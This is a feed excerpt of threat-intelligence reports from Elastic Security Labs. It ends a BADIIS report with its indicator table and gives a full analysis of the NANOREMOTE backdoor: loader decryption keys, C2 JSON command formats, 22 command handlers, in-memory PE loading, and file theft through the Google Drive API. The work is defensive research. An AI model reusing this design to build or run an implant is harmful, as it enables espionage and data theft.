<li><a href="https://github.com/elastic/protections-artifacts/blob/dc64ed57860f4a150c7d1fe33d645d69f384506e/yara/rules/Windows_Trojan_Generic.yar#L364">Windows.Trojan.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.exe</code></td>
<td align="left">Service Installer</td>
</tr>
<tr>
<td align="left"><code>2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>c2ff48cfa38598ad514466673b506e377839d25d5dfb1c3d88908c231112d1b2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>7f2987e49211ff265378349ea648498042cd0817e131da41156d4eafee4310ca</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>D_Safe_Manage.exe</code></td>
<td align="left">D-Shield Firewall</td>
</tr>
<tr>
<td align="left"><code>1b723a5f9725b607926e925d1797f7ec9664bb308c9602002345485e18085b72</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx2.sc</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes32.idx</code></td>
<td align="left">32-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>gotz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (legacy)</td>
</tr>
<tr>
<td align="left"><code>gotz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud</a></li>
<li><a href="https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/">https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/photo-edited-05.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[NANOREMOTE, cousin of FINALDRAFT]]></title>
            <link>https://www.elastic.co/fr/security-labs/nanoremote</link>
            <guid>nanoremote</guid>
            <pubDate>Thu, 11 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in REF7707 and is similar to the FINALDRAFT implant.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In October 2025, Elastic Security Labs discovered a newly-observed Windows backdoor in telemetry. The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in <a href="https://www.elastic.co/fr/security-labs/fragile-web-ref7707">REF7707</a> and is similar to the <a href="https://www.elastic.co/fr/security-labs/finaldraft">FINALDRAFT</a> implant.</p>
<p>One of the malware’s primary features is centered around shipping data back and forth from the victim endpoint using the <a href="https://developers.google.com/workspace/drive/api/guides/about-sdk">Google Drive API</a>. This feature ends up providing a channel for data theft and payload staging that is difficult for detection. The malware includes a task management system used for file transfer capabilities that include queuing download/upload tasks, pausing/resuming file transfers, canceling file transfers, and generating refresh tokens.</p>
<p>This report aims to enhance awareness among defenders and organizations regarding the threat actors we are monitoring and their evolving capabilities.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs discovers a new Windows backdoor</li>
<li>NANOREMOTE likely developed by espionage threat actor linked to FINALDRAFT and REF7707</li>
<li>NANOREMOTE includes command execution, discovery/enumeration and file transfer capabilities using Google Drive API</li>
<li>The backdoor integrates functionality from open-source projects including Microsoft Detours and libPeConv</li>
<li>Elastic Defend prevents the NANOREMOTE attack chain through behavioral rules, machine learning classifier, and memory protection features</li>
</ul>
<h2>NANOREMOTE analysis</h2>
<h3>WMLOADER</h3>
<p>The observed attack chain consists of two primary components, a loader (WMLOADER) and payload (NANOREMOTE). Although this report focuses on NANOREMOTE, we will describe the loader to provide context on the overall infection flow.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image25.png" alt="NANOREMOTE infection chain" /></p>
<p><a href="https://www.virustotal.com/gui/file/fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902/details">WMLOADER</a> masquerades as a Bitdefender Security program (<code>BDReinit.exe</code>) with an invalid digital signature.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image5.png" alt="WMLOADER File information" /></p>
<p>After execution, the program makes a large number of calls to Windows functions (<code>VirtualAlloc</code> / <code>VirtualProtect</code>), preparing the process to host embedded shellcode stored within the file. The shellcode is located at RVA (<code>0x193041</code>) and decrypted using a rolling XOR algorithm.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image21.png" alt="Shellcode unpacking" /></p>
<p>This shellcode looks for a file named <code>wmsetup.log</code> in the same folder path as WMLOADER then starts decrypting it using AES-CBC with a 16-byte ASCII key (<code>3A5AD78097D944AC</code>). After decryption, the shellcode executes the in-memory backdoor, NANOREMOTE.</p>
<p>Based on the previous shellcode decryption routine, we can identify other related samples targeting Bitdefender and Trend Micro products when searching in VirusTotal.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image43.png" alt="WMLOADER samples identified by shellcode decryption routine" /></p>
<h3>NANOREMOTE</h3>
<p>NANOREMOTE is a fully-featured backdoor that can be used to perform reconnaissance, execute files and commands, and transfer files to and from victim environments. The implant is a 64-bit Windows executable written in C++ without obfuscation.</p>
<h4>NANOREMOTE Configuration</h4>
<p>The NANOREMOTE sample we observed was preconfigured to communicate with a hard-coded non-routable IP address. We believe the program was generated from a builder as we do not see any cross-references pointing to a configuration setting.</p>
<p>For the Google Drive API authentication, NANOREMOTE uses a pipe-separated configuration that can use multiple clients. The <code>|*|</code> separator splits the fields used by a single client and the <code>|-|</code> is used as a marker to separate the clients. There are three fields per client structure:</p>
<ul>
<li>Client ID</li>
<li>Client Secret</li>
<li>Refresh Token</li>
</ul>
<p>Below is an example of the format:</p>
<p><code>Client_ID_1|*|Client_Secret_1|*|Refresh_Token_1|-|Client_ID_2|*|Client_Secret_2|*|Refresh_Token_2</code></p>
<p>The developer has a fallback mechanism to accept this configuration through an environment variable named <code>NR_GOOGLE_ACCOUNTS</code>.</p>
<h4>Interface/Logging</h4>
<p>NANOREMOTE provides a detailed console displaying the application's real-time activity, including timestamps, source code locations, and descriptions of its behaviors.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image17.png" alt="Console output" /></p>
<p>A new Windows directory is created in the same location where NANOREMOTE was executed, the folder is called <code>Log</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image16.png" alt="Log folder storing log file" /></p>
<p>A newly created log file (<code>pe_exe_run.log</code>) is dropped in this folder containing the same output printed from the console.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image37.png" alt="Log file contents" /></p>
<h4>Setup</h4>
<p>There is an initial setup routine by NANOREMOTE before the main worker loop starts. The malware generates a unique GUID via <code>CoCreateGuid</code> then hashes the GUID using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo (FNV</a>) function. This GUID is used by the operator to identify individual machines during each request.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image29.png" alt="GUID generation and FNV hashing" /></p>
<p>The malware developer has a process-wide crash handler to create a Windows minidump of the running process when an unhandled exception occurs, this is most likely being used to triage program crashes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image2.png" alt="TopLevelExceptionFilter function" /></p>
<p>The exception will produce the dump before terminating the process. This is a pretty standard practice although the <code>MiniDumpWithFullMemory</code> might be considered less common in legitimate software as it could end up producing larger sized dumps and contain sensitive data.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image9.png" alt="Minidump generation" /></p>
<p>A quick Google search using the same string formatter for the dump file (<code>%d%02d%02d%02d%02d%02d_sv.dmp</code>) listed only 1 result from a Chinese-based software development <a href="https://blog.csdn.net/n_fly/article/details/80426268">website</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image42.png" alt="Google search results for string formatter from minidump function" /></p>
<h4>Network Communication</h4>
<p>As mentioned previously, NANOREMOTE’s C2 communicates with a hard-coded IP address. These requests occur over HTTP where the JSON data is submitted through POST requests that are Zlib compressed and encrypted with AES-CBC using a 16-byte key (<code>558bec83ec40535657833d7440001c00</code>). The URI for all requests use <code>/api/client</code> with User-Agent (<code>NanoRemote/1.0</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image45.png" alt="Packet capture showing NANOREMOTE C2 communication" /></p>
<p>Below is the CyberChef recipe used for the C2 encryption/compression:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image30.png" alt="CyberChef recipe for network communications" /></p>
<p>Each request prior to encryption, follows a schema consisting of:</p>
<ul>
<li><strong>Command ID</strong>: Associated command handler ID</li>
<li><strong>Data</strong>: Command-specific object containing key/value pairs required by the corresponding handler</li>
<li><strong>ID</strong>: Unique machine identifier assigned to the infected host</li>
</ul>
<p>Below is an example of a request that triggers execution of whoami via the command key inside the data object:</p>
<pre><code>{
    &quot;cmd&quot;: 21,
    &quot;data&quot;: {
        &quot;command&quot;: &quot;whoami&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<p>Each response follows a similar format using the previous fields along with two additional fields.</p>
<ul>
<li><strong>Output</strong>: Contains any output from the previously requested command handler</li>
<li><strong>Success</strong>: Boolean flag used to determine if command was successful or not</li>
</ul>
<p>Below is an example of the response from the previous whoami command:</p>
<pre><code>{
    &quot;cmd&quot;: 21,
    &quot;data&quot;: 0,
    &quot;id&quot;: 17235741656643013000,
    &quot;output&quot;: &quot;desktop-2c3iqho\\rem\r\n&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h4>Command Handlers</h4>
<p>NANOREMOTE’s main functionality is driven through its 22 command handlers. Below is a control-flow graph (CFG) diagram showcasing the switch statement used to dispatch the different handlers.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image19.png" alt="Control flow graph showing command handlers" /></p>
<p>Below is the command handler table:</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">#1</td>
<td align="left">Collect host-based information</td>
</tr>
<tr>
<td align="left">#2</td>
<td align="left">Modify beacon timeout</td>
</tr>
<tr>
<td align="left">#3</td>
<td align="left">Self-termination</td>
</tr>
<tr>
<td align="left">#4</td>
<td align="left">List folder contents by path</td>
</tr>
<tr>
<td align="left">#5</td>
<td align="left">List folder contents by path and set working directory</td>
</tr>
<tr>
<td align="left">#6</td>
<td align="left">Get storage disk details</td>
</tr>
<tr>
<td align="left">#7</td>
<td align="left">Create new directory</td>
</tr>
<tr>
<td align="left">#8 #9</td>
<td align="left">Delete directory/files</td>
</tr>
<tr>
<td align="left">#10 #11</td>
<td align="left">Teardown (Clear cache, cleanup)</td>
</tr>
<tr>
<td align="left">#12</td>
<td align="left">PE loader - Execute PE from disk</td>
</tr>
<tr>
<td align="left">#13</td>
<td align="left">Set working directory</td>
</tr>
<tr>
<td align="left">#14</td>
<td align="left">Get working directory</td>
</tr>
<tr>
<td align="left">#15</td>
<td align="left">Move file</td>
</tr>
<tr>
<td align="left">#16</td>
<td align="left">Queue download task via Google Drive</td>
</tr>
<tr>
<td align="left">#17</td>
<td align="left">Queue upload task via Google Drive</td>
</tr>
<tr>
<td align="left">#18</td>
<td align="left">Pause download/upload transfer</td>
</tr>
<tr>
<td align="left">#19</td>
<td align="left">Resume download/upload transfer</td>
</tr>
<tr>
<td align="left">#20</td>
<td align="left">Cancel file transfer</td>
</tr>
<tr>
<td align="left">#21</td>
<td align="left">Command execution</td>
</tr>
<tr>
<td align="left">#22</td>
<td align="left">PE loader - Execute PE from memory</td>
</tr>
</tbody>
</table>
<h5>Handler #1 - Collect host-based information</h5>
<p>This handler enumerates system and user details to profile the victim environment:</p>
<ul>
<li>Uses <code>WSAIoctl</code> with <code>SIO_GET_INTERFACE_LIST</code> to retrieve internal and external IP address</li>
<li>Grabs username via <code>GetUserNameW</code></li>
<li>Retrieves the hostname via <code>GetComputerNameW</code></li>
<li>Checks if current user is member of Administrator group via <code>IsUserAnAdmin</code></li>
<li>Retrieves the process path used by the malware using <code>GetModuleFileNameW</code></li>
<li>Retrieves operating‑system information (product build) from the registry using the <code>WinREVersion</code> and <code>ProductName</code> value names</li>
<li>Gets process ID of running program via <code>GetCurrentProcessID</code></li>
</ul>
<p>Below is an example of the data sent to the C2 server:</p>
<pre><code>{
    &quot;cmd&quot;: 1,
    &quot;data&quot;: {
        &quot;Arch&quot;: &quot;x64&quot;,
        &quot;ExternalIp&quot;: &quot;&quot;,
        &quot;HostName&quot;: &quot;DESKTOP-2C3IQHO&quot;,
        &quot;ID&quot;: 8580477787937977000,
        &quot;InternalIp&quot;: &quot;192.168.1.1&quot;,
        &quot;OsName&quot;: &quot;Windows 10 Enterprise &quot;,
        &quot;ProcessID&quot;: 304,
        &quot;ProcessName&quot;: &quot;pe.exe&quot;,
        &quot;SleepTimeSeconds&quot;: 0,
        &quot;UID&quot;: 0,
        &quot;UserName&quot;: &quot;REM *&quot;
    },
    &quot;id&quot;: 8580477787937977000
}
</code></pre>
<h5>Handler #2 - Modify beacon timeout</h5>
<p>This handler modifies the beacon timeout interval for NANOREMOTE’s C2 communication, the malware will sleep based on the number of seconds provided by the operator.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image26.png" alt="Beacon timeout adjusted" /></p>
<p>Below is an example of this request where NANOREMOTE uses the key (<code>interval</code>) with a value (<code>5</code>) to modify the beacon timeout to 5 seconds.</p>
<pre><code>{
    &quot;cmd&quot;: 2,
    &quot;data&quot;: {
        &quot;interval&quot;: 5
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<h5>Handler #3 - Self-termination</h5>
<p>This handler is responsible for setting a global variable to 0 effectively signaling the teardown and process exit for NANOREMOTE.</p>
<h5>Handler #4 - List folder contents by path</h5>
<p>This handler lists the folder contents using a provided file path from the operator. The listing for each item includes:</p>
<ul>
<li>Whether the item is a directory or not</li>
<li>Whether the item is marked as hidden</li>
<li>Last modified date</li>
<li>File name</li>
<li>Size</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image28.png" alt="Folder directory enumeration" /></p>
<h5>Handler #5 - List folder contents and set working directory</h5>
<p>This handler uses the same code as the previous handler (#4), the only difference is that it sets the current working directory of the process to the provided path as well.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image40.png" alt="Sets current working directory" /></p>
<h5>Handler #6 - Get Storage Disk Info</h5>
<p>This handler uses the following Windows API functions to collect storage disk information from the machine:</p>
<ul>
<li>GetLogicalDrives</li>
<li>GetDiskFreeSpaceExW</li>
<li>GetDriveTypeW</li>
<li>GetVolumeInformationW</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image23.png" alt="Storage disk info printed from console" /></p>
<p>Below is an example of the request in JSON showing the data returned:</p>
<pre><code>{
    &quot;cmd&quot;: 6,
    &quot;data&quot;: {
        &quot;items&quot;: [
            {
                &quot;free&quot;: 26342813696,
                &quot;name&quot;: &quot;C:&quot;,
                &quot;total&quot;: 85405782016,
                &quot;type&quot;: &quot;Fixed&quot;
            }
        ]
    },
    &quot;id&quot;: 16873875158734957000,
    &quot;output&quot;: &quot;&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #7 - Create new folder directory</h5>
<p>This command handler creates a new directory based on a provided path.</p>
<h5>Handler #8, #9 - Delete file, directory</h5>
<p>This handler supports both #8 and #9 command ID’s, the branching is dynamically chosen based on the provided file path. It has the ability to delete files or a specified folder.</p>
<h5>Handler #10, #11 - Teardown/Cleanup</h5>
<p>These two handlers call the same teardown function using different arguments to recursively release heap allocations, internal C++ objects, and cached data associated with the malware’s runtime. This purpose is to clean up the command structures and prevent memory leaks or instability.</p>
<h5>Handler #12 - Custom PE Loader - Execute PE from disk</h5>
<p>This handler includes a custom PE loading capability for files that exist on disk. This functionality leverages standard Windows APIs along with helper code from library <a href="https://github.com/hasherezade/libpeconv">libPeConv</a> to load PE files from disk without using the traditional Windows loader.</p>
<p>In short, it will read a PE file from disk, copy the file into memory, manually map the sections/headers, preparing the file before finally executing it in memory. This implementation is a deliberate technique for stealth and evasion bypassing user-mode hooking and traditional visibility. As one example, when a file is executed through this technique, there is no trace of this executable being launched using procmon.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image20.png" alt="NANOREMOTE loading PE file from disk into memory" /></p>
<p>Below is the following input for this handler where the local file path is provided under the key (args):</p>
<pre><code>{
    &quot;cmd&quot;: 12,
    &quot;data&quot;: {
        &quot;args&quot;: &quot;C:\\tmp\\mare_test.exe&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<p>The following screenshot shows successful execution of our test executable using this technique:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image3.png" alt="LoadAndExecutePE command handler used on test" /></p>
<p>During this analysis, one interesting note is the adoption of the libPeConv <a href="https://github.com/hasherezade/libpeconv">library</a>, this is a great and useful project that we ourselves use internally for various malware-related tasks. The developer of NANOREMOTE uses several functions from this library to simplify common tasks related to manually loading and executing PE files in memory. Below are the functions used by the library found in NANOREMOTE:</p>
<ul>
<li>
<p>default_func_resolver: Resolves functions in a PE file by dynamically loading DLLs and retrieving the addresses of exported functions.</p>
</li>
<li>
<p>hooking_func_resolver: Retrieve the virtual address of a function by name from a loaded DLL.</p>
</li>
<li>
<p>FillImportThunks: Populates the import table by resolving each imported function to its actual address in memory.</p>
</li>
<li>
<p>ApplyRelocCallback: Applies base relocations when a PE file is loaded at an address different from its preferred base.</p>
</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image32.png" alt="Run-Time Type Information within NANOREMOTE showing LibPeConv" /></p>
<p>Another notable observation in this handler is the use of the open-source hooking library, <a href="https://github.com/microsoft/Detours">Microsoft Detours</a>. This library is used to intercept the following Windows functions:</p>
<ul>
<li>GetStdHandle</li>
<li>RtlExitUserThread</li>
<li>RtlExitUserProcess</li>
<li>FatalExit</li>
<li>ExitProcess</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image27.png" alt="Setting up hooking via Microsoft Detours" /></p>
<p>This runtime hooking routine intercepts termination‑related functions to enforce controlled behavior and improve resiliency. For example, NANOREMOTE prevents a failure in a single worker thread from terminating the entire NANOREMOTE process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image8.png" alt="Hooked FatalExit function" /></p>
<h5>Handler #13 - Set working directory</h5>
<p>This handler sets the working directory to a specific directory using the key (path). Below is an example request:</p>
<pre><code>{
    &quot;cmd&quot;: 13,
    &quot;data&quot;: {
        &quot;path&quot;: &quot;C:\\tmp\\Log&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<h5>Handler #14 - Get working directory</h5>
<p>This handler retrieves the current working directory, below is an example response after setting the directory with previous handler (#13).</p>
<pre><code>{
    &quot;cmd&quot;: 14,
    &quot;data&quot;: 0,
    &quot;id&quot;: 11010639976590963000,
    &quot;output&quot;: &quot;[+] pwd output:\r\nC:\\tmp\\Log\r\n&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #15 - Move File</h5>
<p>This handler allows the operator to move files around the victim machine using MoveFileExW with two arguments (old_path, new_path) moving the file to a different folder by performing a copy and delete file operation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image18.png" alt="Moving files via MoveFileExW" /></p>
<h5>Handler #16 - Queue Download Task</h5>
<p>This handler creates a download task object with a provided task_id then enqueues the task into the download queue. This implementation uses OAuth 2.0 tokens to authenticate requests to the Google Drive API. This functionality is used by the threat actor to download files to the victim machine. The encrypted communication to Google’s servers makes this traffic appear legitimate, leaving organizations unable to inspect or differentiate it from normal use.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image35.png" alt="Task added to queue" /></p>
<p>Inside the main worker thread, there is a global variable used to track queue objects and process the awaiting tasks by the malware.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image31.png" alt="Processing download tasks from the queue" /></p>
<p>A task is processed using various fields provided by the C2 server:</p>
<ul>
<li>type</li>
<li>task_id</li>
<li>file_id</li>
<li>target_path</li>
<li>file_size</li>
<li>md5</li>
</ul>
<p>When a download task is processed, NANOREMOTE will retrieve the size of the file hosted on Google Drive using the file ID (1BwdUSIyA3WTUrpAEEDhG0U48U9hYPcy7). Next, the malware will download the file via WinHttpSendRequest then use WinHttpWriteData to write the file on the machine.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image7.png" alt="Fiddler session showing download from Google Drive" /></p>
<p>Below is the console output showing this download process:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image14.png" alt="Downloading file from Google Drive using tasking system" /></p>
<p>This malware feature poses a unique challenge for organizations as threat groups continue to abuse trusted cloud platforms for data exfiltration and payload hosting. This traffic without any context can easily blend in with legitimate traffic making detection difficult for defenders who rely on network visibility.</p>
<h5>Handler #17 - Queue Upload Task</h5>
<p>This handler works in similar fashion as the previous handler (#16), instead it is creating an upload queue task and enqueuing the task into the upload queue. This handler is used by the threat actor to upload files from the victim machine to the adversary’s controlled Google Drive account.</p>
<p>The following fields are provided by the operator through the C2 server:</p>
<ul>
<li><code>type</code></li>
<li><code>task_id</code></li>
<li><code>upload_name</code></li>
<li><code>source_path</code></li>
<li><code>file_size</code></li>
<li><code>md5</code></li>
</ul>
<p>Below is the network traffic generated by the malware when uploading a test file via the Google Drive API (<code>/upload/drive/v3/files</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image33.png" alt="Fiddler session showing upload to Google Drive" /></p>
<p>The below figure shows the console during this upload process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image15.png" alt="Console output showing file upload success" /></p>
<p>Below is a screenshot of the previous demonstration using the file upload feature with our own Google Drive test account.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image38.png" alt="Uploaded file in Google Drive" /></p>
<p>Below is the response from this handler:</p>
<pre><code>{
    &quot;cmd&quot;: 17,
    &quot;data&quot;: {
        &quot;file_id&quot;: &quot;1qmP4TcGfE2xbjYSlV-AVCRA96f6Kp-V7&quot;,
        &quot;file_name&quot;: &quot;meow.txt&quot;,
        &quot;file_size&quot;: 16,
        &quot;md5&quot;: &quot;1e28c01387e0f0229a3fb3df931eaf80&quot;,
        &quot;progress&quot;: 100,
        &quot;status&quot;: &quot;uploaded&quot;,
        &quot;task_id&quot;: &quot;124&quot;
    },
    &quot;id&quot;: 4079875446683087000,
    &quot;output&quot;: &quot;&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #18 - Pause download/upload transfer</h5>
<p>This handler allows the operator to pause any download and upload tasks managed by NANOREMOTE by passing the task_id.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image4.png" alt="Upload transfer paused" /></p>
<h5>Handler #19 - Resume download/upload transfer</h5>
<p>This handler allows the operator to resume any paused download or upload tasks managed by NANOREMOTE using the task_id.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image24.png" alt="Upload transfer resumed" /></p>
<h5>Handler #20 - Cancel file transfer</h5>
<p>This handler allows the operator to cancel any download/upload tasks managed by NANOREMOTE through the task_id.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image13.png" alt="Cancelled transfer" /></p>
<h5>Handler #21 - Command Execution</h5>
<p>This is the main handler used by the adversary for command execution on the victim machine. It works by spawning new processes and returning the output through Windows pipes. This is a core feature found in most backdoors used by adversaries for direct access to enumerate the environment, perform lateral movement, and execute additional payloads.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image36.png" alt="Command execution" /></p>
<p>The figure below shows NANOREMOTE’s process tree when this handler is invoked. The malware spawns cmd.exe, which in turn launches the specified command—in this case, whoami.exe.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image41.png" alt="Command execution process tree" /></p>
<h5>Handler #22 - Execute encoded PE from memory</h5>
<p>This handler loads and executes a Base64 encoded PE file inside the existing NANOREMOTE process. The encoded PE file is provided by the C2 server using the pe_data field. If the program requires command-line arguments, the key (arguments) is used.</p>
<p>Below is an example showing the console output using test program:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image1.png" alt="Load and execute encoded PE from memory" /></p>
<h2>Similarity to FinalDraft</h2>
<p>There is overlap between FINALDRAFT and NANOREMOTE from both code similarity and behavioral perspectives.</p>
<p>Many functions exhibit clear code re-use across the two implants. For example, both follow the same sequence of generating a GUID via CoCreateGuid, hashing it with the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo (FNV)</a> function and performing identical heap-validation checks before freeing the buffer.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image12.png" alt="GUID/FNV - Code comparison between NANOREMOTE and FINALDRAFT" /></p>
<p>A good portion of the HTTP-related code used to send and receive requests suggests similarity as well. Below is an example of a control flow-graph showing the setup/configuration of an HTTP request used by both malware families.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image22.png" alt="HTTP Request Setup - CFG comparison between NANOREMOTE and FINALDRAFT" /></p>
<p>During our analysis, we observed that the WMLOADER decrypts the corresponding payload from a hard-coded file named wmsetup.log – the same file name that was used by PATHLOADER to deploy FINALDRAFT that we <a href="https://www.elastic.co/fr/security-labs/fragile-web-ref7707">published</a> earlier in the year.</p>
<p>Another interesting finding is that we discovered a <a href="https://www.virustotal.com/gui/file/a0b0659e924d7ab27dd94f111182482d5c827562d71f8cafc2c44da2e549fe61/telemetry">sample</a> (wmsetup.log) from VirusTotal that was recently uploaded from the Philippines on 2025-10-03.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image11.png" alt="VirusTotal file submission for wmsetup.log in October 2025" /></p>
<p>We downloaded the file, placed it alongside WMLOADER, then executed the loader. It successfully decrypted the <code>wmsetup.log</code> file, revealing a FINALDRAFT implant.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image44.png" alt="YARA showing FINALDRAFT from wmsetup.log" /></p>
<p>Below is a side-by-side graphic showing the same AES key is used to successfully decrypt both FINALDRAFT and NANOREMOTE.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nanoremote/image39.png" alt="Same AES used to decrypt both NANOREMOTE and FINALDRAFT" /></p>
<p>Our hypothesis is that WMLOADER uses the same hard-coded key due to being part of the same build/development process that allows it to work with various payloads. It’s not clear why the threat group behind these implants are not rotating the key, it’s possibly due to convenience or testing. This appears to be another strong signal suggesting a shared codebase and development environment between FINALDRAFT and NANOREMOTE.</p>
<h2>NANOREMOTE through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
